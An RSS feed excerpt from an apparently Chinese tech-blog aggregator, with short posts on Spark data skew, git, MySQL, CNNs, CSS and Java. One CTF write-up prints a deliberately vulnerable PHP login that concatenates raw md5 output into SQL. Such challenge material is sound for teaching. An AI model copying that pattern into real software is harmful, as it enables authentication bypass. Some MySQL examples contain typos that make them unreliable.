      <title>Spark数据倾斜及解决方案</title>
      <link>https://bchobby.github.io/posts/455e49a55467c1d21de05ee36096d974/</link>
      <pubDate>Tue, 09 Oct 2018 16:02:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/455e49a55467c1d21de05ee36096d974/</guid>
      <description>一，数据倾斜现象及原理&#xA;发生数据倾斜以后的现象：&#xA;1、你的大部分的task，都执行的特别特别快，刷刷刷，就执行完了（你要用client模式，standalone client，yarn client，本地机器只要一执行spark-submit脚本，就会开始打印log），task175 finished；剩下几个task，执行的特别特别慢，前面的task，一般1s可以执行完5个；最后发现1000个task，998，999 task，要执行1个小时，2个小时才能执行完一个task。&#xA;出现数据倾斜了&#xA;还算好的，因为虽然老牛拉破车一样，非常慢，但是至少还能跑。&#xA;2、运行的时候，其他task都刷刷刷执行完了，也没什么特别的问题；但是有的task，就是会突然间，啪，报了一个OOM，JVM Out Of Memory，内存溢出了，task failed，task lost，resubmitting task。反复执行几次都到了某个task就是跑不通，最后就挂掉。&#xA;某个task就直接OOM，那么基本上也是因为数据倾斜了，task分配的数量实在是太大了！！！所以内存放不下，然后你的task每处理一条数据，还要创建大量的对象。内存爆掉了。&#xA;出现数据倾斜了&#xA;数据倾斜的原理：&#xA;​ 定位出现问题的位置:&#xA;根据log去定位&#xA;出现数据倾斜的原因，基本只可能是因为发生了shuffle操作，在shuffle的过程中，出现了数据倾斜的问题。因为某个，或者某些key对应的数据，远远的高于其他的key。&#xA;1、你在自己的程序里面找找，哪些地方用了会产生shuffle的算子，groupByKey、countByKey、reduceByKey、join&#xA;2、看log&#xA;log一般会报你的哪一行代码，导致了OOM异常；或者呢，看log，看看是执行到了第几个stage！！！&#xA;哪一个stage，task特别慢，就能够自己用肉眼去对你的spark代码进行stage的划分，就能够通过stage定位到你的代码，哪里发生了数据倾斜&#xA;去找找，代码那个地方，是哪个shuffle操作。&#xA;二，聚合源数据以及过滤导致倾斜的key&#xA;聚合源数据第一个方案：&#xA;spark作业的源表，hive表，其实通常情况下来说，也是通过某些hive etl生成的。hive etl可能是晚上凌晨在那儿跑。&#xA;直接在生成hive表的hive etl中，对数据进行聚合。比如按key来分组，将key对应的所有的values，全部用一种特殊的格式，拼接到一个字符串里面去，比如“key=sessionid, value: action_seq=1|user_id=1|search_keyword=火锅|category_id=001;action_seq=2|user_id=1|search_keyword=涮肉|category_id=001”。&#xA;这样每个key就只对应一条数据。在spark中，拿到key=sessionid，values，就不需要再去执行groupByKey+map这种操作了。直接对每个key对应的values字符串，map操作，进行你需要的操作即可。就不需要执行shffule操作了，也就不可能导致数据倾斜&#xA;聚合源数据方第二个方案:&#xA;你可能没有办法对每个key，就聚合出来一条数据；&#xA;那么也可以做一个妥协；对每个key对应的数据，10万条；有好几个粒度，比如10万条里面包含了几个城市、几天、几个地区的数据，现在放粗粒度；直接就按照城市粒度（group by city_id），做一下聚合，几个城市，几天、几个地区粒度的数据，都给聚合起来。比如说&#xA;city_id date area_id&#xA;select … from … group by city_id&#xA;尽量去聚合，减少每个key对应的数量，也许聚合到比较粗的粒度之后，原先有10万数据量的key，现在只有1万数据量。减轻数据倾斜的现象和问题。 过滤导致倾斜的key&#xA;如果你能够接受某些数据，在spark作业中直接就摒弃掉，不使用。比如说，总共有100万个key。只有2个key，是数据量达到10万的。其他所有的key，对应的数量都是几十。&#xA;这个时候，你自己可以去取舍，如果业务和需求可以理解和接受的话，在你从hive表查询源数据的时候，直接在sql中用where条件，过滤掉某几个key。&#xA;那么这几个原先有大量数据，会导致数据倾斜的key，被过滤掉之后，那么在你的spark作业中，就不会发生数据倾斜了。&#xA;三，提高shuffle操作reduce并行度&#xA;将reduce task的数量，变多，就可以让每个reduce task分配到更少的数据量，这样的话，也许就可以缓解，或者甚至是基本解决掉数据倾斜&#xA;给我们所有的shuffle算子，比如groupByKey、countByKey、reduceByKey。在调用的时候，传入进去一个参数。那个数字，代表了那个shuffle操作的reduce端的并行度。那么在进行shuffle操作的时候，就会对应着创建指定数量的reduce task。默认是200&#xA;比如说，原本某个task分配数据特别多，直接OOM，内存溢出了，程序没法运行，直接挂掉。按照log，找到发生数据倾斜的shuffle操作，给它传入一个并行度数字，这样的话，原先那个task分配到的数据，肯定会变少。就至少可以避免OOM的情况，程序至少是可以跑的。&#xA;实际生产环境中的经验。&#xA;1、如果最理想的情况下，提升并行度以后，减轻了数据倾斜的问题，或者甚至可以让数据倾斜的现象忽略不计，那么就最好。就不用做其他的数据倾斜解决方案了。&#xA;2、不太理想的情况下，就是比如之前某个task运行特别慢，要5个小时，现在稍微快了一点，变成了4个小时；或者是原先运行到某个task，直接OOM，现在至少不会OOM了，但是那个task运行特别慢，要5个小时才能跑完。&#xA;如果出现第二种情况，就立即放弃方案，开始尝试别的方案</description>
    </item>
    <item>
      <title>解决PYTHONHOME这个环境变量带来的问题</title>
      <link>https://bchobby.github.io/posts/1d765659520ada2f74e4735c58c7bcbf/</link>
      <pubDate>Mon, 08 Oct 2018 20:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d765659520ada2f74e4735c58c7bcbf/</guid>
      <description>结合上一节的来说，我找到了gdb和PYTHONHOME折中的办法，就是不设置环境变量PYTHONHOME，而是在Qt5中用C++调用Python时动态地去设置“PYTHONHOME”:&#xA;结合我前面的文章看下图:&#xA;参考博客：https://blog.csdn.net/a_flying_bird/article/details/51095367</description>
    </item>
    <item>
      <title>securtCRT使用问题总结</title>
      <link>https://bchobby.github.io/posts/e13ff1a12094675838d4d22df5065eab/</link>
      <pubDate>Mon, 08 Oct 2018 16:37:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e13ff1a12094675838d4d22df5065eab/</guid>
      <description>本文会不定期持续更新，在本人使用过程中遇到的问题会陆续更新到本博文。&#xA;1、主机上的设备管理器无串口显示&#xA;缺少USB驱动或者USB转串口驱动程序，通过驱动人生或者驱动精灵更新或者下载驱动&#xA;2、系统启动后，无法在securtCRT窗口执行命令&#xA;串口存在问题，原因不明，更换电脑后可以使用。但是依然存在偶尔无法在窗口执行命令的情况，串口重新插拔之后，问题解决。&#xA;3、关于使用securtCRT下载文件的说明&#xA;通过 选项--&amp;gt; 会话选项 --&amp;gt; 终端 --&amp;gt; X/Y/Zmodem 设置上传以及下载目录。&#xA;英文版路径为 Options --&amp;gt; Session Options --&amp;gt; Terminal --&amp;gt; X/Y/Zmodem&#xA;启动kernel后，通过cd命令进入到对应的文件夹中，使用rz命令进行下载。sz命令上传。</description>
    </item>
    <item>
      <title>CTF之实验吧--后台登陆</title>
      <link>https://bchobby.github.io/posts/da8dca6ff3b43a58891f782a7b86f2fd/</link>
      <pubDate>Sat, 06 Oct 2018 22:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da8dca6ff3b43a58891f782a7b86f2fd/</guid>
      <description>本来以为不用看writeup的，因为一看网业的源代码，哇，这个能看懂。然后就去网页上找函数的作用。主要是下面这三个函数。&#xA;mysqli_query(connection,query,resultmode)函数： connection: 必需。规定要使用的 MySQL 连接。&#xA;query: 必需，规定查询字符串。&#xA;resultmode: 可选。一个常量。可以是下列值中的任意一个：&#xA;MYSQLI_USE_RESULT（如果需要检索大量数据，请使用这个）MYSQLI_STORE_RESULT（默认） mysqli_num_rows(result)函数： result: 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。&#xA;md5(string)函数： string：必需。把string用md5方式加密。&#xA;http://www.runoob.com/这个网站都可以查到&#xA;接下来就是看代码的逻辑关系了。&#xA;&amp;lt;!-- $password=$_POST[&#39;password&#39;]; $sql = &#34;SELECT * FROM admin WHERE username = &#39;admin&#39; and password = &#39;&#34;.md5($password,true).&#34;&#39;&#34;; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)&amp;gt;0){ echo &#39;flag is :&#39;.$flag; } else{ echo &#39;密码错误!&#39;; } --&amp;gt; 我们从下往上看，可以知道 $flag 这个变量就是我们要的flag了。&#xA;怎么得到呢？&#xA;if(mysqli_num_rows($result)&amp;gt;0) 要这个语句成立才行，也就是说这个 $result 变量要使得这个函数的返回值大于零。&#xA;那 $result 怎么来的呢？&#xA;$result=mysqli_query($link,$sql); 这个语句意思是要在数据库中查到$sql这个数据，然后函数返回一个地址保存在result这个变量里。前面的参数是用来连接数据库的。&#xA;那这个 $sql 怎么来的呢？&#xA;$sql = &#34;SELECT * FROM admin WHERE username = &#39;admin&#39; and password = &#39;&#34;</description>
    </item>
    <item>
      <title>Java - 你如何理解AOP中的连接点（Joinpoint）、切点（Pointcut）、增强（Advice）、引介（Introduction）、织入（Weaving）、切面（Aspect）这些概念？</title>
      <link>https://bchobby.github.io/posts/24790d64f585dbfd605a6a87b8df1f88/</link>
      <pubDate>Sat, 06 Oct 2018 12:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24790d64f585dbfd605a6a87b8df1f88/</guid>
      <description>原地址：https://blog.csdn.net/u011230736/article/details/77765576&#xA;a. 连接点（Joinpoint）：程序执行的某个特定位置（如：某个方法调用前、调用后，方法抛出异常后）。一个类或一段程序代码拥有一些具有边界性质的特定点，这些代码中的特定点就是连接点。Spring仅支持方法的连接点。 b. 切点（Pointcut）：如果连接点相当于数据中的记录，那么切点相当于查询条件，一个切点可以匹配多个连接点。Spring AOP的规则解析引擎负责解析切点所设定的查询条件，找到对应的连接点。 c. 增强（Advice）：增强是织入到目标类连接点上的一段程序代码。Spring提供的增强接口都是带方位名的，比如：BeforeAdvice、AfterReturningAdvice、ThrowsAdvice等。很多资料上将增强译为“通知”，这明显是个词不达意的翻译，让很多程序员困惑了许久。&#xA;说明： Advice在国内的很多书面资料中都被翻译成&#34;通知&#34;，但是很显然这个翻译无法表达其本质，有少量的读物上将这个词翻译为&#34;增强&#34;，这个翻译是对Advice较为准确的诠释，我们通过AOP将横切关注功能加到原有的业务逻辑上，这就是对原有业务逻辑的一种增强，这种增强可以是前置增强、后置增强、返回后增强、抛异常时增强和包围型增强。&#xA;d. 引介（Introduction）：引介是一种特殊的增强，它为类添加一些属性和方法。这样，即使一个业务类原本没有实现某个接口，通过引介功能，可以动态的为该业务类添加接口的实现逻辑，让业务类成为这个接口的实现类。 e. 织入（Weaving）：织入是将增强添加到目标类具体连接点上的过程，AOP有三种织入方式：①编译期织入：需要特殊的Java编译器（例如AspectJ的ajc）；②装载期织入：要求使用特殊的类加载器，在装载类的时候对类进行增强；③运行时织入：在运行时为目标类生成代理实现增强。Spring采用了动态代理的方式实现了运行时织入，而AspectJ采用了编译期织入和装载期织入的方式。 f. 切面（Aspect）：切面是由切点和增强（引介）组成的，它包括了对横切关注功能的定义，也包括了对连接点的定义。&#xA;补充：代理模式是GoF提出的23种设计模式中最为经典的模式之一，代理模式是对象的结构模式，它给某一个对象提供一个代理对象，并由代理对象控制对原对象的引用。简单的说，代理对象可以完成比原对象更多的职责，当需要为原对象添加横切关注功能时，就可以使用原对象的代理对象。我们在打开Office系列的Word文档时，如果文档中有插图，当文档刚加载时，文档中的插图都只是一个虚框占位符，等用户真正翻到某页要查看该图片时，才会真正加载这张图，这其实就是对代理模式的使用，代替真正图片的虚框就是一个虚拟代理；Hibernate的load方法也是返回一个虚拟代理对象，等用户真正需要访问对象的属性时，才向数据库发出SQL语句获得真实对象。&#xA;下面用一个找枪手代考的例子演示代理模式的使用：&#xA;/** * 参考人员接口 * */ public interface Candidate { /** * 答题 */ public void answerTheQuestions(); } /** * 懒学生 * */ public class LazyStudent implements Candidate { private String name; // 姓名 public LazyStudent(String name) { this.name = name; } @Override public void answerTheQuestions() { // 懒学生只能写出自己的名字不会答题 System.out.println(&#34;姓名: &#34; + name); } } /** * 枪手 * */ public class Gunman implements Candidate { private Candidate target; // 被代理对象 public Gunman(Candidate target) { this.</description>
    </item>
    <item>
      <title>使用Git命令行clone一个项目</title>
      <link>https://bchobby.github.io/posts/2b4343116fc76439dcf918dcedfb2b9e/</link>
      <pubDate>Sat, 06 Oct 2018 11:39:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b4343116fc76439dcf918dcedfb2b9e/</guid>
      <description> 操作步骤 1.复制希望clone下来的HTTPS 2.在本地希望保留该项目的路径下使用git clone命令 git clone HTTPS&#xA;3.进入项目使用git remote -v 查看clone下来的是哪个仓库的项目 git remote -v，用于查看是自己的还是别人的项目，以免当有权限的时候合并出问题&#xA;4.本地对代码进行改进之后，使用git add * 修改代码之后可以使用git add * 添加上修改的文件(可以上传到github) 然后使用git commit -m &#34;本次修改的注解&#34;&#xA;5.提交先pull下来最新的代码 git pull origin 分支(一般是master)&#xA;一般一个项目是多人协作开发，每次提交自己的代码之前先进行pull操作是一个好习惯，因为有可能自己修改的文件和别人修改的文件重叠在一起，那么如果直接push上去的话，就会出现冲突，git那边不知道使用谁的代码，因而自己手动的pull下来检查代码是否有冲突，再push上去是一个不错的选择&#xA;6.push代码 git push origin 分支(一般是master)&#xA;扩展 当pull代码的时候发现错误：Your local changes to the following files would be overwritten by merge，说的是pull的文件和本地的文件冲突了，解决方法是：本地进行git stash 进行修改暂存，然后再pull下来即可。&#xA;git stash git pull origin master（分支名） </description>
    </item>
    <item>
      <title>Storm Could not find leader nimbus from seed hosts</title>
      <link>https://bchobby.github.io/posts/90ddca08fb0708d4085298c72fd21edb/</link>
      <pubDate>Sat, 06 Oct 2018 10:55:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90ddca08fb0708d4085298c72fd21edb/</guid>
      <description>org.apache.storm.utils.NimbusLeaderNotFoundException: Could not find leader nimbus from seed hosts [&#34;xxxx&#34;]. Did you specify a valid list of nimbus hosts for config nimbus.seeds?&#xA;at org.apache.storm.utils.NimbusClient.getConfiguredClientAs(NimbusClient.java:108)&#xA;at org.apache.storm.ui.core$nimbus_summary.invoke(core.clj:389)&#xA;at org.apache.storm.ui.core$fn__11351.invoke(core.clj:938)&#xA;at org.apache.storm.shade.compojure.core$make_route$fn__5905.invoke(core.clj:100)&#xA;at org.apache.storm.shade.compojure.core$if_route$fn__5893.invoke(core.clj:46)&#xA;at org.apache.storm.shade.compojure.core$if_method$fn__5886.invoke(core.clj:31)&#xA;at org.apache.storm.shade.compojure.core$routing$fn__5911.invoke(core.clj:113)&#xA;at clojure.core$some.invoke(core.clj:2570)&#xA;at org.apache.storm.shade.compojure.core$routing.doInvoke(core.clj:113)&#xA;at clojure.lang.RestFn.applyTo(RestFn.java:139)&#xA;at clojure.core$apply.invoke(core.clj:632)&#xA;at org.apache.storm.shade.compojure.core$routes$fn__5915.invoke(core.clj:118)&#xA;at org.apache.storm.shade.ring.middleware.json$wrap_json_params$fn__10820.invoke(json.clj:56)&#xA;解决方案:启动zk 就好了..</description>
    </item>
    <item>
      <title>MySQL数据库入门学习</title>
      <link>https://bchobby.github.io/posts/2c91849b577d79f7d3364b967c9bb979/</link>
      <pubDate>Sat, 06 Oct 2018 10:12:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c91849b577d79f7d3364b967c9bb979/</guid>
      <description>MySQL数据库学习 SQL分类 DDL：Date Define Language 数据定义语言 操作对象：数据库和表关键词：CREATE/ALTER/DROP/TRUNCATE特性： sql语句中都会有TABLE&#xA;例如：CREATE TABLE TABLE_NAME XXX…… DROP TABLE TABLE_NAME…操作的对象是数据库和表 DML:Data Manager Language 数据操作语言 操作对象：记录(行)关键词：INSERT/UPDATE/DELETE特性： sql语句中没有TABLE&#xA;例如：INSERT INTO USER(列1,列2……) VALUES(value1,value2……) DCL:Data Controll Language 数据控制语言 操作对象：用户/事务/权限一般由数据库工程师来管理操作，开发人员使用的频率不大 DQL:Data Query Language 数据查询语言(非官方) 总结：只有是涉及到对数据库和表结构的操作，才会加上TABLE，对记录(行)的操作不需要添加TABLE SQL分类的实例 DDL:数据定义语言 CREATE:创建数据库、表…… CREATE TABLE USER( id INT UNSIGNED NOT NULL AUTO_INCREMENT COMMENT &#34;编号&#34;, password VARCHAR(256) NOT NULL COMMENT &#39;密码&#39;, nickName VARCHAR(32) NOT NULL COMMENT &#39;昵称&#39;, bio VARCHAR(256) COMMENT &#39;简介&#39; PRIAMRY KEY(id) ) ALTER:修改表、字段…… 修改表名(rename) ALTER TABEL 原表名 RENAME 新表名 添加新的列 (add) ATTER TABLE table_name ADD cloumn_name datatype 例如： ALTER TABLE USER ADD sid VARCHAR(128) NOT NULL COMMENT &#39;Cookie&#39; 删除列、删除索引(drop) ALTER TABLE table_name DROP COLUNM column_name ALTER TABLE table_name DROP INDEX index_name 例如： ALTER TABLE USER DROP COLUMN sid1 修改已经存在的列的属性(modify) ALTER TABLE table_name ALTER COLUMN column_name datatype 例如： ALTER TABLE USER MODIFY COLUMN bio int COMMENT &#39;简介&#39; 修改已经存在的列的列名(change) ALTER TABLE table_name CHANGE COLUMN column_name new_column_name datatype 例如： ALTER TABLE USER CHANGE COLUMN id id1 INT UNSIGNED NOT NULL COMMENT &#39;编号&#39; DROP：删除表、数据库 *删除数据库/表</description>
    </item>
    <item>
      <title>MySQL数据库学习</title>
      <link>https://bchobby.github.io/posts/d0a51d4b3438c61691bcaee07aae5d29/</link>
      <pubDate>Sat, 06 Oct 2018 09:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0a51d4b3438c61691bcaee07aae5d29/</guid>
      <description>MySQL数据库学习 SQL分类 DDL：Date Define Language 数据定义语言 操作对象：数据库和表关键词：CREATE/ALTER/DROP/TRUNCATE特性： sql语句中都会有TABLE&#xA;例如：CREATE TABLE TABLE_NAME XXX…… DROP TABLE TABLE_NAME...操作的对象是数据库和表&#xA;TRUNCATE和DROP和DELETE的区别 当你不再需要该表时，用DROP当你仍要保留该表，但要删除所有记录时，用TRUNCATE(会重置一些自增的数据)当你要删除部分记录时（always with a WHERE clause),用DELETE.&#xA;DML:Data Manager Language 数据操作语言 操作对象：记录(行)关键词：INSERT/UPDATE/DELETE特性： sql语句中没有TABLE&#xA;例如： INSERT INTO USER(列1,列2……) VALUES(value1,value2……)&#xA;DCL:Data Controll Language 数据控制语言 操作对象：用户/事务/权限一般由数据库工程师来管理操作，开发人员使用的频率不大DQL:Data Query Language 数据查询语言(非官方)&#xA;总结：只有是涉及到对数据库和表结构的操作，才会加上TABLE，对记录(行)的操作不需要添加TABLE SQL分类的实例 DDL:数据定义语言 CREATE:创建数据库、表…… CREATE TABLE USER( id INT UNSIGNED NOT NULL AUTO_INCREMENT COMMENT &#34;编号&#34;, password VARCHAR(256) NOT NULL COMMENT &#39;密码&#39;, nickName VARCHAR(32) NOT NULL COMMENT &#39;昵称&#39;, bio VARCHAR(256) COMMENT &#39;简介&#39; PRIAMRY KEY(id) ) ALTER:修改表、字段…… 修改表名(rename) ALTER TABEL 原表名 RENAME 新表名 添加新的列 (add) ATTER TABLE table_name ADD cloumn_name datatype 例如： ALTER TABLE USER ADD sid VARCHAR(128) NOT NULL COMMENT &#39;Cookie&#39; 删除列、删除索引(drop) ALTER TABLE table_name DROP COLUNM column_name ALTER TABLE table_name DROP INDEX index_name 例如： ALTER TABLE USER DROP COLUMN sid1 修改已经存在的列的属性(modify) ALTER TABLE table_name ALTER COLUMN column_name datatype 例如： ALTER TABLE USER MODIFY COLUMN bio int COMMENT &#39;简介&#39; 修改已经存在的列的列名(change) ALTER TABLE table_name CHANGE COLUMN column_name new_column_name datatype 例如： ALTER TABLE USER CHANGE COLUMN id id1 INT UNSIGNED NOT NULL COMMENT &#39;编号&#39; DROP：删除表、数据库 *删除数据库/表</description>
    </item>
    <item>
      <title>学习笔记之——基于深度学习的分类网络</title>
      <link>https://bchobby.github.io/posts/c79959648402da3a47a93f1da7422cde/</link>
      <pubDate>Fri, 05 Oct 2018 11:39:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c79959648402da3a47a93f1da7422cde/</guid>
      <description>之前博文介绍了基于深度学习的常用的检测网络《学习笔记之——基于深度学习的目标检测算法》，本博文为常用的CNN分类卷积网络介绍，本博文的主要内容来自于R&amp;amp;C团队的成员的调研报告以及本人的理解~如有不当之处，还请各位看客赐教哈~好，下面进入正题。&#xA;目录&#xA;引言&#xA;分类网络&#xA;LeNet&#xA;网络结构&#xA;测试结果&#xA;总结&#xA;AlexNet&#xA;网络结构&#xA;测试结果&#xA;网络特点&#xA;总结&#xA;ZFNet&#xA;网络结构&#xA;网络特点&#xA;训练与测试结果&#xA;总结&#xA;VGGNet&#xA;网络结构&#xA;网格特点&#xA;训练与测试结果&#xA;总结&#xA;GoogLeNet&#xA;Inception-v1&#xA;Inception-v2&#xA;Inception-v3&#xA;总结&#xA;ResNet&#xA;网络结构 Residual Block&#xA;训练与测试结果&#xA;引言 卷积神经网络（CNN）又称卷积网络，通常用做处理图像序列。经典的CNN层包括三个层次，卷积层、激活函数和池化层。通常在输出之前有几个完全连接的层来集成数据并完成分类。本博文将介绍几种经典的分类卷积网络：LeNet-5、AlexNet、ZFNet、VGGNet、GoogLeNet、ResNet。&#xA;分类网络 LeNet LeNet-5由Yann LeCun等人于1989年提出，它是一种用于手写体字符识别的非常高效的卷积神经网络，推动了深度学习领域的发展。LeNet5通过巧妙的设计，利用卷积、参数共享、池化等操作提取特征，避免了大量的计算成本，最后再使用全连接神经网络进行分类识别，这个网络是卷积神经网络架构的起点，后续许多网络都以此为范本进行优化。&#xA;LeNet-5共有7层，不包含输入，每层都包含可训练参数；每个层有多个特征映射（feature map），每个feature map通过一种卷积滤波器（filter）提取输入的一种特征，最终经过全连接层和Softmax函数完成分类。&#xA;网络结构 INPUT层-输入层：首先是数据 INPUT 层，输入图像（0~9的手写体数字）的尺寸统一归一化为32*32，使背景级别（白色）对应-0.1，前景（黑色）对应1.175。这使得输入平均值约为0，而方差约为1，目的是加速学习。32*32的图像大小比MNIST数据集的图片要大一些，这么做的原因是希望潜在的明显特征如笔画断点或角能够出现在最高层特征检测子感受野（receptive field）的中心。因此在训练整个网络之前，需要对28*28的图像加上paddings（即周围填充0）。&#xA;C1层-卷积层&#xA;输入图片：32*32&#xA;卷积核大小：5*5&#xA;卷积核种类：6&#xA;输出feature map大小：28*28 *注： 输入维度n×n，卷积核大小f×f，填充p，步长s，则输出维度为：&#xA;可训练参数：（5*5+1) * 6（每个滤波器5*5=25个unit参数和一个bias参数，一共6个滤波器）&#xA;连接数：（5*5+1）*6*28*28=122304&#xA;S2层-池化层（下采样层）&#xA;输入：28*28&#xA;采样区域：2*2&#xA;采样方式：4个输入相加，乘以一个可训练参数，再加上一个可训练偏置。结果通过sigmoid。&#xA;*注：sigmoid函数：&#xA;采样种类：6&#xA;输出featureMap大小：14*14&#xA;连接数：（2*2+1）*6*14*14&#xA;S2中每个特征图的大小是C1中特征图大小的1/4。&#xA;详细说明：第一次卷积之后紧接着就是池化运算，分别对2*2大小的区域进行池化，于是得到了S2，6个14*14的特征图。S2这个pooling层是对C1中的2*2区域内的像素求和并乘以一个权值系数再加上一个偏置，然后将这个结果再做一次映射。Pooling层的主要作用就是减少数据，降低数据维度的同时保留最重要的信息。在数据减少后，可以减少神经网络的维度和计算量，也可以防止参数太多过拟合。</description>
    </item>
    <item>
      <title>h5测试</title>
      <link>https://bchobby.github.io/posts/535cc666a4d56844b636c185e5426a12/</link>
      <pubDate>Fri, 05 Oct 2018 07:50:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/535cc666a4d56844b636c185e5426a12/</guid>
      <description>&amp;lt;input type=&#34;search&#34;/&amp;gt;当点击输入框中的&#34;x&#34;时，输入框中的内容会被删除。&#xA;&amp;lt;meter&amp;gt;&amp;lt;/meter&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;p&amp;gt;显示度量值：&amp;lt;/p&amp;gt; &amp;lt;meter value=&#34;3&#34; min=&#34;0&#34; max=&#34;10&#34;&amp;gt;3/10&amp;lt;/meter&amp;gt;&amp;lt;br&amp;gt; &amp;lt;meter value=&#34;0.6&#34;&amp;gt;60%&amp;lt;/meter&amp;gt; &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;注释：&amp;lt;/b&amp;gt;Internet Explorer 不支持 meter 标签。&amp;lt;/p&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; menu:目前所有主流浏览器都不支持。用来定义命令的列表或菜单。&#xA;h5不基于DTD，h5不需要引用DTD。&#xA;表单中最大值对应的是rangeOverflow。</description>
    </item>
    <item>
      <title>CSS3 新属性篇(五)：background-size属性</title>
      <link>https://bchobby.github.io/posts/df14a01799dea91d9ed89a9d77c02428/</link>
      <pubDate>Wed, 03 Oct 2018 16:25:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df14a01799dea91d9ed89a9d77c02428/</guid>
      <description>目录：&#xA;background-size属性介绍演示代码background-size属性分析 设置固定尺寸的背景图片背景图片的宽高是根据自身所属元素的宽高以百分比进行缩放背景图片扩展并覆盖填充满整个所属元素区域背景图片尺寸宽度和高度完全适应内容区域 一、background-size属性介绍 CSS3 的 background-size 属性能调整背景图片的大小，从而替代了用原始大小显示图片的默认行为。你可以随意的缩放背景图。&#xA;用法：background-size: length|percentage|cover|contain;&#xA;length：设置背景图片高度和宽度。第一个值设置宽度，第二个值设置的高度。如果只给出一个值，第二个是设置为 auto(自动)percentage：将计算相对于背景定位区域的百分比。第一个值设置宽度，第二个值设置的高度。如果只给出一个值，第二个是设置为&#34;auto(自动)&#34;cover：此时会保持图像的纵横比并将图像缩放成将完全覆盖背景定位区域的最小大小。contain：此时会保持图像的纵横比并将图像缩放成将适合背景定位区域的最大大小。 二、演示代码 背景图尺寸为220px*214px：&#xA;演示代码为：&#xA;&amp;lt;style&amp;gt; div{ border: black 2px solid; width: 300px; height: 200px; background: url(&#34;img4.jpg&#34;) no-repeat; } &amp;lt;/style&amp;gt; 三、background-size属性分析 1、设置固定尺寸的背景图片&#xA;1）、background-size: 800px 300px;&#xA;设置背景图片的宽高比与图片本身的宽高比不同，导致图片出现变形；同时设置背景图片的尺寸远远超出了div本身定义的尺寸，超出的部分被隐藏了。&#xA;2）、background-size: 100px 200px;&#xA;设置背景图片的宽度远远小于自身的宽度，图片被压缩；同时小于div本身的宽度，无法覆盖全部的div，出现留白。&#xA;2、背景图片的宽高是根据自身所属元素的宽高以百分比进行缩放&#xA;1）、background-size: 100% 100%;&#xA;完全填满所属元素的区域，但是应该宽高的比例图片出现了变形。&#xA;2）、background-size: 50% 20%;&#xA;填充所属元素的宽50% 高20%的区域，图片出现变形。&#xA;3、背景图片扩展并覆盖填充满整个所属元素区域&#xA;1）、background-size: cover;&#xA;如果背景图片尺寸大于所属元素尺寸，则背景图片不进行方法，正常显示，超出部分被隐藏。&#xA;如果背景图片尺寸小于所属元素尺寸，则背景图片进行等比例放大（图片不会出现变形），直至完全覆盖所属元素区域，超出部分被隐藏。&#xA;优点是背景图片全部覆盖所属元素区域；缺点是超出的部分会被隐藏。&#xA;4、背景图片尺寸宽度和高度完全适应内容区域&#xA;1）、background-size: contain;&#xA;对背景图片进行等比例的放大/缩小处理，直至背景图片能够完完整整的展示出来。&#xA;优点是图片不会出现变形，同时背景图片被完全展示出来；缺点是当所属元素的宽高比与背景图片的宽高比不同时，会出现背景留白。</description>
    </item>
    <item>
      <title>关于String str1=&#34;123&#34;与String str2=new String(&#34;123&#34;)类问题详解</title>
      <link>https://bchobby.github.io/posts/5cfc53193c93eb10102e365b2a90090b/</link>
      <pubDate>Mon, 01 Oct 2018 19:53:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cfc53193c93eb10102e365b2a90090b/</guid>
      <description>要彻底弄明白这个问题，我们需要清楚一些基本概念：&#xA;Class文件中的常量池运行时常量池(runtime constant pool)全局字符串池(StringTable)Java heap一些常用字节码以及常量池中的常量类型等 jvm 的知识 Class 文件常量池：JVM 会为我们每个类对应生成一个常量池，常量池可以理解为 Class 文件之中的资源仓库，它是 Class文件结构中与其他项目关联最多的数据类型，也是占用 Class 文件空间最大的数据项目之一，同时它还是在 Class 文件中第一个出现的表类型数据项目。Class 文件被加载之后，Class 文件常量池就变成了运行时常量池。&#xA;全局字符串池：全局字符串池里的内容是在类加载完成，经过验证，准备阶段之后在堆中生成字符串对象实例，然后将该字符串对象实例的引用值存到string pool中（记住：string pool中存的是引用值而不是具体的实例对象，具体的实例对象是在堆中开辟的一块空间存放的。）。 在HotSpot VM里实现的string pool功能的是一个StringTable类，它是一个哈希表，里面存的是驻留字符串(也就是我们常说的用双引号括起来的)的引用（而不是驻留字符串实例本身），也就是说在堆中的某些字符串实例被这个StringTable引用之后就等同被赋予了”驻留字符串”的身份。这个StringTable在每个HotSpot VM的实例只有一份，被所有的类共享。&#xA;Java heap：对大多数应用来说，Java heap 是 JVM 所管理的内存中最大的一块，是被所有线程共享的一块内存区域，在虚拟机启动时创建。此内存区域的唯一作用即使存放对象，几乎所有对象实例都在这里分配(随着JIT编译器的发展与逃逸分析技术逐渐成熟，所有对象都在堆上分配变得不那么绝对了)。 概念介绍完毕，进入正题，先来看一段代码：&#xA;String str1 = new String(&#34;12&#34;); String str2 = &#34;12&#34;; System.out.println(str2 == str1); 这段代码创建了几个String实例？ 结论是两个，如果单独来看的话 String str1 = new String(&#34;12&#34;);会创建两个，String str2 = &#34;12&#34;只创建一个&#xA;创建了哪些对象呢，下面通过常量池来分析&#xA;这段代码返回结果是 false。 以下是常量池和字节码内容：&#xA;为了避免混淆，str1 和 str2 分开来查看常量池和字节码&#xA;String str1 = new String(&#34;12&#34;)：&#xA;0:new : 创建一个对象，并将其引用值压入栈顶，对应常量池中的第16行。3:dup : 复制栈顶数值并将复制值压入栈顶。4:ldc : 将 int , float 或 String 型常量值从常量池中推送至栈顶，对应常量池中的第18行。6:invokespecial : 